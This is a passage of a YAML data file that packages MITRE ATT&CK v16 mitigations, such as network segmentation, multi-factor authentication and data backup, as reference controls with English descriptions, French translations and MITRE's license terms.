convert_library_version: 'v2 ; Compat Mode: [0] {[v2.1] (DEFAULT) Don''t use any Compatibility
  Mode}'
urn: urn:intuitem:risk:library:mitre-attack
locale: en
ref_id: mitre-attack
name: Mitre ATT&CK v16 - Threats and mitigations
description: Mitre ATT&CK v16 - Threats and mitigations
copyright: "Terms of Use\nLICENSE\nThe MITRE Corporation (MITRE) hereby grants you\
  \ a non-exclusive, royalty-free license to use ATT&CK\xAE for research, development,\
  \ and commercial purposes. Any copy you make for such purposes is authorized provided\
  \ that you reproduce MITRE's copyright designation and this license in any such\
  \ copy.\n\"\xA9 2022 The MITRE Corporation. This work is reproduced and distributed\
  \ with the permission of The MITRE Corporation.\"\nDISCLAIMERS\nMITRE does not claim\
  \ ATT&CK enumerates all possibilities for the types of actions and behaviors documented\
  \ as part of its adversary model and framework of techniques. Using the information\
  \ contained within ATT&CK to address or cover full categories of techniques will\
  \ not guarantee full defensive coverage as there may be undisclosed techniques or\
  \ variations on existing techniques not documented by ATT&CK.\nALL DOCUMENTS AND\
  \ THE INFORMATION CONTAINED THEREIN ARE PROVIDED ON AN \"AS IS\" BASIS AND THE CONTRIBUTOR,\
  \ THE ORGANIZATION HE/SHE REPRESENTS OR IS SPONSORED BY (IF ANY), THE MITRE CORPORATION,\
  \ ITS BOARD OF TRUSTEES, OFFICERS, AGENTS, AND EMPLOYEES, DISCLAIM ALL WARRANTIES,\
  \ EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTY THAT THE USE OF\
  \ THE INFORMATION THEREIN WILL NOT INFRINGE ANY RIGHTS OR ANY IMPLIED WARRANTIES\
  \ OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE."
version: 3
publication_date: 2025-07-04
provider: Mitre ATT&CK
packager: intuitem
translations:
  fr:
    name: "Mitre ATT&CK v16 - Menaces et mesures d\u2019att\xE9nuation"
    description: "Mitre ATT&CK v16 - Menaces et mesures d\u2019att\xE9nuation"
objects:
  reference_controls:
  - urn: urn:intuitem:risk:function:mitre-attack:m1031
    ref_id: M1031
    name: Network Intrusion Prevention
    category: technical
    description: 'Use intrusion detection signatures to block traffic at network boundaries.

      https://attack.mitre.org/mitigations/M1031'
    csf_function: detect
    translations:
      fr:
        name: "Pr\xE9vention des intrusions sur le r\xE9seau"
        description: "Utilisez des signatures de d\xE9tection d\u2019intrusion pour\
          \ bloquer le trafic aux limites du r\xE9seau.\nhttps://attack.mitre.org/mitigations/M1031"
  - urn: urn:intuitem:risk:function:mitre-attack:m1016
    ref_id: M1016
    name: Vulnerability Scanning
    category: technical
    description: 'Vulnerability scanning is used to find potentially exploitable software
      vulnerabilities to remediate them.

      https://attack.mitre.org/mitigations/M1016'
    csf_function: detect
    translations:
      fr:
        name: "Analyse des vuln\xE9rabilit\xE9s"
        description: "L\u2019analyse des vuln\xE9rabilit\xE9s est utilis\xE9e pour\
          \ trouver des vuln\xE9rabilit\xE9s logicielles potentiellement exploitables\
          \ afin d\u2019y rem\xE9dier.\nhttps://attack.mitre.org/mitigations/M1016"
  - urn: urn:intuitem:risk:function:mitre-attack:m1035
    ref_id: M1035
    name: Limit Access to Resource Over Network
    category: technical
    description: 'Prevent access to file shares, remote access to systems, unnecessary
      services. Mechanisms to limit access may include use of network concentrators,
      RDP gateways, etc.

      https://attack.mitre.org/mitigations/M1035'
    csf_function: protect
    translations:
      fr:
        name: "Limiter l\u2019acc\xE8s aux ressources sur le r\xE9seau"
        description: "Emp\xEAchez l\u2019acc\xE8s aux partages de fichiers, l\u2019\
          acc\xE8s \xE0 distance aux syst\xE8mes, les services inutiles. Les m\xE9\
          canismes de limitation de l\u2019acc\xE8s peuvent inclure l\u2019utilisation\
          \ de concentrateurs de r\xE9seau, de passerelles RDP, etc.\nhttps://attack.mitre.org/mitigations/M1035"
  - urn: urn:intuitem:risk:function:mitre-attack:m1029
    ref_id: M1029
    name: Remote Data Storage
    category: technical
    description: 'Use remote security log and sensitive file storage where access
      can be controlled better to prevent exposure of intrusion detection log data
      or sensitive information.

      https://attack.mitre.org/mitigations/M1029'
    csf_function: protect
    translations:
      fr:
        name: "Stockage de donn\xE9es \xE0 distance"
        description: "Utilisez le stockage \xE0 distance des journaux de s\xE9curit\xE9\
          \ et des fichiers sensibles dont l\u2019acc\xE8s peut \xEAtre mieux contr\xF4\
          l\xE9 afin d\u2019\xE9viter l\u2019exposition des donn\xE9es du journal\
          \ de d\xE9tection d\u2019intrusion ou des informations sensibles.\nhttps://attack.mitre.org/mitigations/M1029"
  - urn: urn:intuitem:risk:function:mitre-attack:m1037
    ref_id: M1037
    name: Filter Network Traffic
    category: technical
    description: 'Use network appliances to filter ingress or egress traffic and perform
      protocol-based filtering. Configure software on endpoints to filter network
      traffic.

      https://attack.mitre.org/mitigations/M1037'
    csf_function: protect
    translations:
      fr:
        name: "Filtrer le trafic r\xE9seau"
        description: "Utilisez des appliances r\xE9seau pour filtrer le trafic entrant\
          \ ou sortant et effectuer un filtrage bas\xE9 sur le protocole. Configurez\
          \ le logiciel sur les points de terminaison pour filtrer le trafic r\xE9\
          seau.\nhttps://attack.mitre.org/mitigations/M1037"
  - urn: urn:intuitem:risk:function:mitre-attack:m1021
    ref_id: M1021
    name: Restrict Web-Based Content
    category: technical
    description: 'Restrict use of certain websites, block downloads/attachments, block
      Javascript, restrict browser extensions, etc.

      https://attack.mitre.org/mitigations/M1021'
    csf_function: protect
    translations:
      fr:
        name: Restreindre le contenu Web
        description: "Restreindre l\u2019utilisation de certains sites Web, bloquer\
          \ les t\xE9l\xE9chargements/pi\xE8ces jointes, bloquer Javascript, restreindre\
          \ les extensions de navigateur, etc.\nhttps://attack.mitre.org/mitigations/M1021"
  - urn: urn:intuitem:risk:function:mitre-attack:m1033
    ref_id: M1033
    name: Limit Software Installation
    category: technical
    description: 'Block users or groups from installing unapproved software.

      https://attack.mitre.org/mitigations/M1033'
    csf_function: protect
    translations:
      fr:
        name: "Limiter l\u2019installation de logiciels"
        description: "Emp\xEAcher les utilisateurs ou les groupes d\u2019installer\
          \ des logiciels non approuv\xE9s.\nhttps://attack.mitre.org/mitigations/M1033"
  - urn: urn:intuitem:risk:function:mitre-attack:m1013
    ref_id: M1013
    name: Application Developer Guidance
    category: technical
    description: 'This mitigation describes any guidance or training given to developers
      of applications to avoid introducing security weaknesses that an adversary may
      be able to take advantage of.

      https://attack.mitre.org/mitigations/M1013'
    csf_function: govern
    translations:
      fr:
        name: "Conseils pour les d\xE9veloppeurs d\u2019applications"
        description: "Cette att\xE9nuation d\xE9crit toutes les orientations ou formations\
          \ donn\xE9es aux d\xE9veloppeurs d\u2019applications pour \xE9viter d\u2019\
          introduire des faiblesses de s\xE9curit\xE9 dont un adversaire peut tirer\
          \ parti.\nhttps://attack.mitre.org/mitigations/M1013"
  - urn: urn:intuitem:risk:function:mitre-attack:m1034
    ref_id: M1034
    name: Limit Hardware Installation
    category: technical
    description: 'Block users or groups from installing or using unapproved hardware
      on systems, including USB devices.

      https://attack.mitre.org/mitigations/M1034'
    csf_function: protect
    translations:
      fr:
        name: "Limiter l\u2019installation mat\xE9rielle"
        description: "Emp\xEAcher des utilisateurs ou des groupes d\u2019installer\
          \ ou d\u2019utiliser du mat\xE9riel non approuv\xE9 sur des syst\xE8mes,\
          \ y compris des p\xE9riph\xE9riques USB.\nhttps://attack.mitre.org/mitigations/M1034"
  - urn: urn:intuitem:risk:function:mitre-attack:m1017
    ref_id: M1017
    name: User Training
    category: technical
    description: 'Train users to be aware of access or manipulation attempts by an
      adversary to reduce the risk of successful spearphishing, social engineering,
      and other techniques that involve user interaction.

      https://attack.mitre.org/mitigations/M1017'
    csf_function: govern
    translations:
      fr:
        name: Formation des utilisateurs
        description: "Former les utilisateurs \xE0 \xEAtre conscients des tentatives\
          \ d\u2019acc\xE8s ou de manipulation par un adversaire afin de r\xE9duire\
          \ le risque de spearphishing, d\u2019ing\xE9nierie sociale et d\u2019autres\
          \ techniques impliquant une interaction avec l\u2019utilisateur.\nhttps://attack.mitre.org/mitigations/M1017"
  - urn: urn:intuitem:risk:function:mitre-attack:m1052
    ref_id: M1052
    name: User Account Control
    category: technical
    description: 'Configure Windows User Account Control to mitigate risk of adversaries
      obtaining elevated process access.

      https://attack.mitre.org/mitigations/M1052'
    csf_function: protect
    translations:
      fr:
        name: "Contr\xF4le de compte d\u2019utilisateur"
        description: "Configurez le contr\xF4le de compte d\u2019utilisateur Windows\
          \ pour r\xE9duire le risque que des adversaires obtiennent un acc\xE8s \xE9\
          lev\xE9 aux processus.\nhttps://attack.mitre.org/mitigations/M1052"
  - urn: urn:intuitem:risk:function:mitre-attack:m1028
    ref_id: M1028
    name: Operating System Configuration
    category: technical
    description: 'Make configuration changes related to the operating system or a
      common feature of the operating system that result in system hardening against
      techniques.

      https://attack.mitre.org/mitigations/M1028'
    csf_function: protect
    translations:
      fr:
        name: "Configuration du syst\xE8me d\u2019exploitation"
        description: "Apportez des modifications de configuration li\xE9es au syst\xE8\
          me d\u2019exploitation ou \xE0 une caract\xE9ristique commune du syst\xE8\
          me d\u2019exploitation qui entra\xEEnent un renforcement du syst\xE8me par\
          \ rapport aux techniques.\nhttps://attack.mitre.org/mitigations/M1028"
  - urn: urn:intuitem:risk:function:mitre-attack:m1053
    ref_id: M1053
    name: Data Backup
    category: technical
    description: 'Take and store data backups from end user systems and critical servers.
      Ensure backup and storage systems are hardened and kept separate from the corporate
      network to prevent compromise.

      https://attack.mitre.org/mitigations/M1053'
    csf_function: recover
    translations:
      fr:
        name: "Sauvegarde des donn\xE9es"
        description: "Effectuez et stockez des sauvegardes de donn\xE9es \xE0 partir\
          \ des syst\xE8mes de l\u2019utilisateur final et des serveurs critiques.\
          \ Assurez-vous que les syst\xE8mes de sauvegarde et de stockage sont renforc\xE9\
          s et s\xE9par\xE9s du r\xE9seau de l\u2019entreprise afin d\u2019\xE9viter\
          \ toute compromission.\nhttps://attack.mitre.org/mitigations/M1053"
  - urn: urn:intuitem:risk:function:mitre-attack:m1038
    ref_id: M1038
    name: Execution Prevention
    category: technical
    description: 'Block execution of code on a system through application control,
      and/or script blocking.

      https://attack.mitre.org/mitigations/M1038'
    csf_function: protect
    translations:
      fr:
        name: "Pr\xE9vention de l\u2019ex\xE9cution"
        description: "Bloquer l\u2019ex\xE9cution de code sur un syst\xE8me par le\
          \ biais du contr\xF4le d\u2019application et/ou du blocage de script.\n\
          https://attack.mitre.org/mitigations/M1038"
  - urn: urn:intuitem:risk:function:mitre-attack:m1043
    ref_id: M1043
    name: Credential Access Protection
    category: technical
    description: 'Use capabilities to prevent successful credential access by adversaries;
      including blocking forms of credential dumping.

      https://attack.mitre.org/mitigations/M1043'
    csf_function: protect
    translations:
      fr:
        name: "Protection d\u2019acc\xE8s aux informations d\u2019identification"
        description: "Utiliser des fonctionnalit\xE9s pour emp\xEAcher l\u2019acc\xE8\
          s r\xE9ussi aux informations d\u2019identification par des adversaires ;\
          \ y compris le blocage des formes de dumping d\u2019informations d\u2019\
          identification.\nhttps://attack.mitre.org/mitigations/M1043"
  - urn: urn:intuitem:risk:function:mitre-attack:m1045
    ref_id: M1045
    name: Code Signing
    category: technical
    description: 'Enforce binary and application integrity with digital signature
      verification to prevent untrusted code from executing.

      https://attack.mitre.org/mitigations/M1045'
    csf_function: protect
    translations:
      fr:
        name: Signature de code
        description: "Renforcez l\u2019int\xE9grit\xE9 binaire et de l\u2019application\
          \ avec la v\xE9rification de la signature num\xE9rique pour emp\xEAcher\
          \ l\u2019ex\xE9cution de code non fiable.\nhttps://attack.mitre.org/mitigations/M1045"
  - urn: urn:intuitem:risk:function:mitre-attack:m1039
    ref_id: M1039
    name: Environment Variable Permissions
    category: technical
    description: 'Prevent modification of environment variables by unauthorized users
      and groups.

      https://attack.mitre.org/mitigations/M1039'
    csf_function: protect
    translations:
      fr:
        name: "Autorisations des variables d\u2019environnement"
        description: "Emp\xEAchez la modification des variables d\u2019environnement\
          \ par des utilisateurs et des groupes non autoris\xE9s.\nhttps://attack.mitre.org/mitigations/M1039"
  - urn: urn:intuitem:risk:function:mitre-attack:m1057
    ref_id: M1057
    name: Data Loss Prevention
    category: technical
    description: 'Use a data loss prevention (DLP) strategy to categorize sensitive
      data, identify data formats indicative of personal identifiable information
      (PII), and restrict exfiltration of sensitive data.(Citation: PurpleSec Data
      Loss Prevention)

      https://attack.mitre.org/mitigations/M1057'
    csf_function: detect
    translations:
      fr:
        name: "Pr\xE9vention des pertes de donn\xE9es"
        description: "Utilisez une strat\xE9gie de pr\xE9vention des pertes de donn\xE9\
          es (DLP) pour cat\xE9goriser les donn\xE9es sensibles, identifier les formats\
          \ de donn\xE9es indiquant des informations personnelles identifiables (PII)\
          \ et limiter l\u2019exfiltration de donn\xE9es sensibles. (Citation : Pr\xE9\
          vention des pertes de donn\xE9es PurpleSec)\nhttps://attack.mitre.org/mitigations/M1057"
  - urn: urn:intuitem:risk:function:mitre-attack:m1025
    ref_id: M1025
    name: Privileged Process Integrity
    category: technical
    description: 'Protect processes with high privileges that can be used to interact
      with critical system components through use of protected process light, anti-process
      injection defenses, or other process integrity enforcement measures.

      https://attack.mitre.org/mitigations/M1025'
    csf_function: protect
    translations:
      fr:
        name: "Int\xE9grit\xE9 privil\xE9gi\xE9e des processus"
        description: "Prot\xE9gez les processus avec des privil\xE8ges \xE9lev\xE9\
          s qui peuvent \xEAtre utilis\xE9s pour interagir avec des composants syst\xE8\
          me critiques \xE0 l\u2019aide d\u2019un \xE9clairage de processus prot\xE9\
          g\xE9, de d\xE9fenses anti-injection de processus ou d\u2019autres mesures\
          \ d\u2019application de l\u2019int\xE9grit\xE9 des processus.\nhttps://attack.mitre.org/mitigations/M1025"
  - urn: urn:intuitem:risk:function:mitre-attack:m1055
    ref_id: M1055
    name: Do Not Mitigate
    category: technical
    description: 'This category is to associate techniques that mitigation might increase
      risk of compromise and therefore mitigation is not recommended.

      https://attack.mitre.org/mitigations/M1055'
    csf_function: govern
    translations:
      fr:
        name: "Ne pas att\xE9nuer"
        description: "Cette cat\xE9gorie consiste \xE0 associer des techniques dont\
          \ l\u2019att\xE9nuation pourrait augmenter le risque de compromission et,\
          \ par cons\xE9quent, l\u2019att\xE9nuation n\u2019est pas recommand\xE9\
          e.\nhttps://attack.mitre.org/mitigations/M1055"
  - urn: urn:intuitem:risk:function:mitre-attack:m1056
    ref_id: M1056
    name: Pre-compromise
    category: technical
    description: 'This category is used for any applicable mitigation activities that
      apply to techniques occurring before an adversary gains Initial Access, such
      as Reconnaissance and Resource Development techniques.

      https://attack.mitre.org/mitigations/M1056'
    csf_function: govern
    translations:
      fr:
        name: "Pr\xE9-compromis"
        description: "Cette cat\xE9gorie est utilis\xE9e pour toutes les activit\xE9\
          s d\u2019att\xE9nuation applicables qui s\u2019appliquent aux techniques\
          \ mises en \u0153uvre avant qu\u2019un adversaire n\u2019obtienne l\u2019\
          acc\xE8s initial, telles que les techniques de reconnaissance et de d\xE9\
          veloppement des ressources.\nhttps://attack.mitre.org/mitigations/M1056"
  - urn: urn:intuitem:risk:function:mitre-attack:m1020
    ref_id: M1020
    name: SSL/TLS Inspection
    category: technical
    description: 'Break and inspect SSL/TLS sessions to look at encrypted web traffic
      for adversary activity.

      https://attack.mitre.org/mitigations/M1020'
    csf_function: protect
    translations:
      fr:
        name: SSL/TLS Inspection
        description: "Interrompez et inspectez les sessions SSL/TLS pour rechercher\
          \ des activit\xE9s adverses dans le trafic Web chiffr\xE9.\nhttps://attack.mitre.org/mitigations/M1020"
  - urn: urn:intuitem:risk:function:mitre-attack:m1046
    ref_id: M1046
    name: Boot Integrity
    category: technical
    description: 'Use secure methods to boot a system and verify the integrity of
      the operating system and loading mechanisms.

      https://attack.mitre.org/mitigations/M1046'
    csf_function: protect
    translations:
      fr:
        name: "Int\xE9grit\xE9 du d\xE9marrage"
        description: "Utilisez des m\xE9thodes s\xE9curis\xE9es pour d\xE9marrer un\
          \ syst\xE8me et v\xE9rifier l\u2019int\xE9grit\xE9 du syst\xE8me d\u2019\
          exploitation et des m\xE9canismes de chargement.\nhttps://attack.mitre.org/mitigations/M1046"
  - urn: urn:intuitem:risk:function:mitre-attack:m1060
    ref_id: M1060
    name: Out-of-Band Communications Channel
    category: technical
    description: 'Establish secure out-of-band communication channels to ensure the
      continuity of critical communications during security incidents, data integrity
      attacks, or in-network communication failures. Out-of-band communication refers
      to using an alternative, separate communication path that is not dependent on
      the potentially compromised primary network infrastructure. This method can
      include secure messaging apps, encrypted phone lines, satellite communications,
      or dedicated emergency communication systems. Leveraging these alternative channels
      reduces the risk of adversaries intercepting, disrupting, or tampering with
      sensitive communications and helps coordinate an effective incident response.(Citation:
      TrustedSec OOB Communications)(Citation: NIST Special Publication 800-53 Revision
      5)

      https://attack.mitre.org/mitigations/M1060'
    csf_function: protect
    translations:
      fr:
        name: Canal de communication hors bande
        description: "\xC9tablissez des canaux de communication hors bande s\xE9curis\xE9\
          s pour assurer la continuit\xE9 des communications critiques en cas d\u2019\
          incidents de s\xE9curit\xE9, d\u2019attaques d\u2019int\xE9grit\xE9 des\
          \ donn\xE9es ou de d\xE9faillances de communication au sein du r\xE9seau.\
          \ La communication hors bande fait r\xE9f\xE9rence \xE0 l\u2019utilisation\
          \ d\u2019un autre chemin de communication distinct qui ne d\xE9pend pas\
          \ de l\u2019infrastructure du r\xE9seau principal potentiellement compromise.\
          \ Cette m\xE9thode peut inclure des applications de messagerie s\xE9curis\xE9\
          es, des lignes t\xE9l\xE9phoniques crypt\xE9es, des communications par satellite\
          \ ou des syst\xE8mes de communication d\u2019urgence d\xE9di\xE9s. L\u2019\
          exploitation de ces canaux alternatifs r\xE9duit le risque que les adversaires\
          \ interceptent, perturbent ou alt\xE8rent les communications sensibles et\
          \ permet de coordonner une r\xE9ponse efficace aux incidents. (Citation\
          \ : TrustedSec OOB Communications)(Citation : Publication sp\xE9ciale du\
          \ NIST 800-53 R\xE9vision 5)\nhttps://attack.mitre.org/mitigations/M1060"
  - urn: urn:intuitem:risk:function:mitre-attack:m1030
    ref_id: M1030
    name: Network Segmentation
    category: technical
    description: 'Architect sections of the network to isolate critical systems, functions,
      or resources. Use physical and logical segmentation to prevent access to potentially
      sensitive systems and information. Use a DMZ to contain any internet-facing
      services that should not be exposed from the internal network. Configure separate
      virtual private cloud (VPC) instances to isolate critical cloud systems.

      https://attack.mitre.org/mitigations/M1030'
    csf_function: protect
    translations:
      fr:
        name: "Segmentation du r\xE9seau"
        description: "Concevez des sections du r\xE9seau pour isoler les syst\xE8\
          mes, les fonctions ou les ressources critiques. Utilisez la segmentation\
          \ physique et logique pour emp\xEAcher l\u2019acc\xE8s \xE0 des syst\xE8\
          mes et des informations potentiellement sensibles. Utilisez une DMZ pour\
          \ contenir tous les services Internet qui ne doivent pas \xEAtre expos\xE9\
          s \xE0 partir du r\xE9seau interne. Configurez des instances de cloud priv\xE9\
          \ virtuel (VPC) distinctes pour isoler les syst\xE8mes cloud critiques.\n\
          https://attack.mitre.org/mitigations/M1030"
  - urn: urn:intuitem:risk:function:mitre-attack:m1019
    ref_id: M1019
    name: Threat Intelligence Program
    category: technical
    description: 'A threat intelligence program helps an organization generate their
      own threat intelligence information and track trends to inform defensive priorities
      to mitigate risk.

      https://attack.mitre.org/mitigations/M1019'
    csf_function: protect
    translations:
      fr:
        name: Programme de renseignements sur les menaces
        description: "Un programme de renseignement sur les menaces aide une organisation\
          \ \xE0 g\xE9n\xE9rer ses propres informations et \xE0 suivre les tendances\
          \ afin d\u2019\xE9tablir les priorit\xE9s d\xE9fensives afin d\u2019att\xE9\
          nuer les risques.\nhttps://attack.mitre.org/mitigations/M1019"
  - urn: urn:intuitem:risk:function:mitre-attack:m1027
    ref_id: M1027
    name: Password Policies
    category: technical
    description: 'Set and enforce secure password policies for accounts.

      https://attack.mitre.org/mitigations/M1027'
    csf_function: protect
    translations:
      fr:
        name: Politiques de mot de passe
        description: "D\xE9finissez et appliquez des politiques de mot de passe s\xE9\
          curis\xE9es pour les comptes.\nhttps://attack.mitre.org/mitigations/M1027"
  - urn: urn:intuitem:risk:function:mitre-attack:m1040
    ref_id: M1040
    name: Behavior Prevention on Endpoint
    category: technical
    description: 'Use capabilities to prevent suspicious behavior patterns from occurring
      on endpoint systems. This could include suspicious process, file, API call,
      etc. behavior.

      https://attack.mitre.org/mitigations/M1040'
    csf_function: detect
    translations:
      fr:
        name: "Pr\xE9vention du comportement sur Endpoint"
        description: "Utilisez les fonctionnalit\xE9s pour emp\xEAcher les comportements\
          \ suspects de se produire sur les syst\xE8mes de terminaux. Il peut s\u2019\
          agir d\u2019un processus suspect, d\u2019un fichier, d\u2019un appel d\u2019\
          API, etc.\nhttps://attack.mitre.org/mitigations/M1040"
  - urn: urn:intuitem:risk:function:mitre-attack:m1018
    ref_id: M1018
    name: User Account Management
    category: technical
    description: 'Manage the creation, modification, use, and permissions associated
      to user accounts.

      https://attack.mitre.org/mitigations/M1018'
    csf_function: protect
    translations:
      fr:
        name: "Gestion des comptes d\u2019utilisateur"
        description: "G\xE9rez la cr\xE9ation, la modification, l\u2019utilisation\
          \ et les autorisations associ\xE9es aux comptes utilisateurs.\nhttps://attack.mitre.org/mitigations/M1018"
  - urn: urn:intuitem:risk:function:mitre-attack:m1022
    ref_id: M1022
    name: Restrict File and Directory Permissions
    category: technical
    description: 'Restrict access by setting directory and file permissions that are
      not specific to users or privileged accounts.

      https://attack.mitre.org/mitigations/M1022'
    csf_function: protect
    translations:
      fr:
        name: "Restreindre les autorisations de fichiers et de r\xE9pertoires"
        description: "Limitez l\u2019acc\xE8s en d\xE9finissant des autorisations\
          \ de r\xE9pertoire et de fichier qui ne sont pas sp\xE9cifiques aux utilisateurs\
          \ ou aux comptes privil\xE9gi\xE9s.\nhttps://attack.mitre.org/mitigations/M1022"
  - urn: urn:intuitem:risk:function:mitre-attack:m1026
    ref_id: M1026
    name: Privileged Account Management
    category: technical
    description: 'Manage the creation, modification, use, and permissions associated
      to privileged accounts, including SYSTEM and root.

      https://attack.mitre.org/mitigations/M1026'
    csf_function: protect
    translations:
      fr:
        name: "Gestion des comptes privil\xE9gi\xE9s"
        description: "G\xE9rez la cr\xE9ation, la modification, l\u2019utilisation\
          \ et les autorisations associ\xE9es aux comptes privil\xE9gi\xE9s, y compris\
          \ SYSTEM et root.\nhttps://attack.mitre.org/mitigations/M1026"
  - urn: urn:intuitem:risk:function:mitre-attack:m1024
    ref_id: M1024
    name: Restrict Registry Permissions
    category: technical
    description: 'Restrict the ability to modify certain hives or keys in the Windows
      Registry.

      https://attack.mitre.org/mitigations/M1024'
    csf_function: protect
    translations:
      fr:
        name: Restreindre les autorisations du registre
        description: "Restreindre la possibilit\xE9 de modifier certaines ruches ou\
          \ cl\xE9s dans le registre Windows.\nhttps://attack.mitre.org/mitigations/M1024"
  - urn: urn:intuitem:risk:function:mitre-attack:m1049
    ref_id: M1049
    name: Antivirus/Antimalware
    category: technical
    description: 'Use signatures or heuristics to detect malicious software.

      https://attack.mitre.org/mitigations/M1049'
    csf_function: detect
    translations:
      fr:
        name: Antivirus/Antimalware
        description: "Utilisez des signatures ou des heuristiques pour d\xE9tecter\
          \ les logiciels malveillants.\nhttps://attack.mitre.org/mitigations/M1049"
  - urn: urn:intuitem:risk:function:mitre-attack:m1032
    ref_id: M1032
    name: Multi-factor Authentication
    category: technical
    description: 'Use two or more pieces of evidence to authenticate to a system;
      such as username and password in addition to a token from a physical smart card
      or token generator.

      https://attack.mitre.org/mitigations/M1032'
    csf_function: protect
    translations:
      fr:
        name: Authentification multifactorielle
        description: "Utiliser deux preuves ou plus pour s\u2019authentifier aupr\xE8\
          s d\u2019un syst\xE8me ; tels que le nom d\u2019utilisateur et le mot de\
          \ passe en plus d\u2019un jeton provenant d\u2019une carte \xE0 puce physique\
          \ ou d\u2019un g\xE9n\xE9rateur de jetons.\nhttps://attack.mitre.org/mitigations/M1032"
  - urn: urn:intuitem:risk:function:mitre-attack:m1054
    ref_id: M1054
    name: Software Configuration
    category: technical
    description: 'Implement configuration changes to software (other than the operating
      system) to mitigate security risks associated to how the software operates.

      https://attack.mitre.org/mitigations/M1054'
    csf_function: protect
    translations:
      fr:
        name: Configuration logicielle
        description: "Mettre en \u0153uvre des modifications de configuration du logiciel\
          \ (autre que le syst\xE8me d\u2019exploitation) pour att\xE9nuer les risques\
          \ de s\xE9curit\xE9 associ\xE9s au fonctionnement du logiciel.\nhttps://attack.mitre.org/mitigations/M1054"
  - urn: urn:intuitem:risk:function:mitre-attack:m1048
    ref_id: M1048
    name: Application Isolation and Sandboxing
    category: technical
    description: 'Restrict execution of code to a virtual environment on or in transit
      to an endpoint system.

      https://attack.mitre.org/mitigations/M1048'
    csf_function: protect
    translations:
      fr:
        name: Isolation des applications et sandboxing
        description: "Limitez l\u2019ex\xE9cution de code \xE0 un environnement virtuel\
          \ sur ou en transit vers un syst\xE8me de point de terminaison.\nhttps://attack.mitre.org/mitigations/M1048"
  - urn: urn:intuitem:risk:function:mitre-attack:m1047
    ref_id: M1047
    name: Audit
    category: technical
    description: 'Perform audits or scans of systems, permissions, insecure software,
      insecure configurations, etc. to identify potential weaknesses.

      https://attack.mitre.org/mitigations/M1047'
    csf_function: protect
    translations:
      fr:
        name: Audit
        description: "Effectuer des audits ou des analyses des syst\xE8mes, des autorisations,\
          \ des logiciels non s\xE9curis\xE9s, des configurations non s\xE9curis\xE9\
          es, etc. pour identifier les faiblesses potentielles.\nhttps://attack.mitre.org/mitigations/M1047"
  - urn: urn:intuitem:risk:function:mitre-attack:m1050
    ref_id: M1050
    name: Exploit Protection
    category: technical
    description: 'Use capabilities to detect and block conditions that may lead to
      or be indicative of a software exploit occurring.

      https://attack.mitre.org/mitigations/M1050'
    csf_function: detect
    translations:
      fr:
        name: Protection contre les exploits
        description: "Utilisez les capacit\xE9s pour d\xE9tecter et bloquer les conditions\
          \ qui peuvent conduire \xE0 ou \xEAtre indicatives d\u2019un exploit logiciel.\n\
          https://attack.mitre.org/mitigations/M1050"
  - urn: urn:intuitem:risk:function:mitre-attack:m1015
    ref_id: M1015
    name: Active Directory Configuration
    category: technical
    description: 'Implement robust Active Directory configurations using group policies
      to control access and reduce the attack surface. Specific examples include:


      * Account Configuration: Use provisioned domain accounts rather than local accounts
      to leverage centralized control and auditing capabilities.

      * Interactive Logon Restrictions: Enforce group policies that prohibit interactive
      logons for accounts that should not directly access systems.

      * Remote Desktop Settings: Limit Remote Desktop logons to authorized accounts
      to prevent misuse by adversaries.

      * Dedicated Administrative Accounts: Create specialized domain-wide accounts
      that are restricted from interactive logons but can perform specific tasks like
      installations or repository access.

      * Authentication Silos: Configure Authentication Silos in Active Directory to
      create access zones with restrictions based on membership in the Protected Users
      global security group. This setup enhances security by applying additional protections
      to high-risk accounts, limiting their exposure to potential attacks.

      https://attack.mitre.org/mitigations/M1015'
    csf_function: protect
    translations:
      fr:
        name: "Configuration d\u2019Active Directory"
        description: "Mettez en \u0153uvre des configurations Active Directory robustes\
          \ \xE0 l\u2019aide de strat\xE9gies de groupe pour contr\xF4ler l\u2019\
          acc\xE8s et r\xE9duire la surface d\u2019attaque. En voici quelques exemples\
          \ pr\xE9cis :\n\n* Configuration du compte : utilisez des comptes de domaine\
          \ provisionn\xE9s plut\xF4t que des comptes locaux pour tirer parti des\
          \ capacit\xE9s de contr\xF4le et d\u2019audit centralis\xE9es.\n* Restrictions\
          \ d\u2019ouverture de session interactive : appliquez des strat\xE9gies\
          \ de groupe qui interdisent les ouvertures de session interactives pour\
          \ les comptes qui ne doivent pas acc\xE9der directement aux syst\xE8mes.\n\
          * Param\xE8tres du bureau \xE0 distance : Limitez les connexions au bureau\
          \ \xE0 distance aux comptes autoris\xE9s afin d\u2019\xE9viter toute utilisation\
          \ abusive par des adversaires.\n* Comptes administratifs d\xE9di\xE9s :\
          \ cr\xE9ez des comptes sp\xE9cialis\xE9s \xE0 l\u2019\xE9chelle du domaine\
          \ qui sont limit\xE9s aux ouvertures de session interactives, mais qui peuvent\
          \ effectuer des t\xE2ches sp\xE9cifiques telles que les installations ou\
          \ l\u2019acc\xE8s au r\xE9f\xE9rentiel.\n* Silos d\u2019authentification\
          \ : configurez les silos d\u2019authentification dans Active Directory pour\
          \ cr\xE9er des zones d\u2019acc\xE8s avec des restrictions bas\xE9es sur\
          \ l\u2019appartenance au groupe de s\xE9curit\xE9 global Utilisateurs prot\xE9\
          g\xE9s. Cette configuration renforce la s\xE9curit\xE9 en appliquant des\
          \ protections suppl\xE9mentaires aux comptes \xE0 haut risque, limitant\
          \ ainsi leur exposition aux attaques potentielles.\nhttps://attack.mitre.org/mitigations/M1015"
  - urn: urn:intuitem:risk:function:mitre-attack:m1051
    ref_id: M1051
    name: Update Software
    category: technical
    description: 'Perform regular software updates to mitigate exploitation risk.

      https://attack.mitre.org/mitigations/M1051'
    csf_function: protect
    translations:
      fr:
        name: "Mettre \xE0 jour le logiciel"
        description: "Effectuez r\xE9guli\xE8rement des mises \xE0 jour logicielles\
          \ pour att\xE9nuer le risque d\u2019exploitation.\nhttps://attack.mitre.org/mitigations/M1051"
  - urn: urn:intuitem:risk:function:mitre-attack:m1044
    ref_id: M1044
    name: Restrict Library Loading
    category: technical
    description: 'Prevent abuse of library loading mechanisms in the operating system
      and software to load untrusted code by configuring appropriate library loading
      mechanisms and investigating potential vulnerable software.

      https://attack.mitre.org/mitigations/M1044'
    csf_function: protect
    translations:
      fr:
        name: "Limiter le chargement de la biblioth\xE8que"
        description: "Emp\xEAchez l\u2019utilisation abusive des m\xE9canismes de\
          \ chargement de biblioth\xE8que dans le syst\xE8me d\u2019exploitation et\
          \ les logiciels pour charger du code non fiable en configurant des m\xE9\
